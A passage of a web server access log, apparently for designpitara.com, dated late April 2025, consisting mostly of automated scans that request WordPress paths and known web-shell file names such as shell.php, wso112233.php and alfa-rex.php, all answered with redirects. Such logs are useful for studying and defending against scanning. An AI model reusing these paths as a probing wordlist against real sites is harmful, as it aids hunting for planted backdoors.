/admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:31 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:33 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:33 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:34 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:35 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:36 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:37 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:38 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:38 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:39 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:40 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:41 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:42 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:43 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:44 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:44 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:44 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:45 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:46 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:47 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:48 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:49 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:50 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:50 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:51 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:52 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:53 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:54 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:55 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:56 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:57 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:57 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:58 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:59 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:00 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:00 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:01 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:02 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:02 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:03 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:03 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:04 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:05 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:05 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:06 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:07 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:08 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:09 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:10 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:10 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:11 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:11 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:12 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:13 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:22 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:22 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:23 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:24 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:24 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:25 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:25 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:26 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:26 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:27 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:27 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:28 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:28 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:30 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:30 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:31 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:32 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:33 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:33 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:35 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:35 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:36 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:37 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:37 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:38 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:38 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:39 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:40 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:40 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:41 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:42 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:42 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:44 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:44 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:45 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:45 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:47 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:48 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:48 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:49 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:49 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:50 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:52 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:52 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:53 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:54 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:54 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:55 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:56 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:56 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:58 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:44:59 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:00 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:01 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:02 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:03 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:04 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:04 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:05 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:05 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:06 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:07 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:08 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:45:09 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.88.40.206 - - [27/Apr/2025:23:55:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 52.88.40.206 - - [28/Apr/2025:00:07:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 52.170.20.202 - - [28/Apr/2025:00:11:21 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:22 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:22 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:22 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:23 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:24 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:24 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:25 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:25 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:26 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:26 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:27 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:28 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:28 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:29 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:29 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:29 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:30 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:31 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:31 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:32 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:32 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:32 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:33 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:33 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:33 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:34 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:34 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:35 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:35 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:36 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:36 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:36 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:37 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:37 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:37 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:38 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:38 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:38 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:39 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:39 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:40 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:40 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:40 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:41 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:41 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:42 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:42 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:42 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:43 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:43 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:43 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:44 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:44 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:45 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:45 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:46 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:47 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:48 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:48 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:49 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:49 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:50 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:51 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:51 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:53 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:53 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:53 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:54 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:54 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:55 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:56 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:56 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:57 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:57 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:57 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:58 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:58 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:58 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:58 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:59 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.170.20.202 - - [28/Apr/2025:00:11:59 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 213.158.93.213 - - [28/Apr/2025:00:31:05 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:00:46:34 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:00:47:19 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:00:47:45 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:00:47:57 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:00:48:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 66.175.44.21 - - [28/Apr/2025:00:56:05 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:01:05:13 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:01:05:49 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:01:06:10 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:01:06:17 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:01:06:35 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 44.200.125.78 - - [28/Apr/2025:01:21:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 54.236.1.11 - - [28/Apr/2025:01:26:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 192.178.6.72 - - [28/Apr/2025:01:27:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.71 - - [28/Apr/2025:01:27:44 -0400] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.227 - - [28/Apr/2025:01:59:48 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.227 - - [28/Apr/2025:01:59:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.167.239.66 - - [28/Apr/2025:02:00:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 128.199.12.191 - - [28/Apr/2025:02:07:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 95.164.203.68 - - [28/Apr/2025:02:11:27 -0400] "GET /contact-us HTTP/1.1" 301 795 "http://designpitara.com/contact-us" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299" 114.119.141.249 - - [28/Apr/2025:02:22:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 117.33.163.216 - - [28/Apr/2025:02:26:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 92.255.57.39 - - [28/Apr/2025:02:33:22 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 105.74.13.167 - - [28/Apr/2025:02:39:05 -0400] "GET /shell4.php HTTP/1.1" 301 795 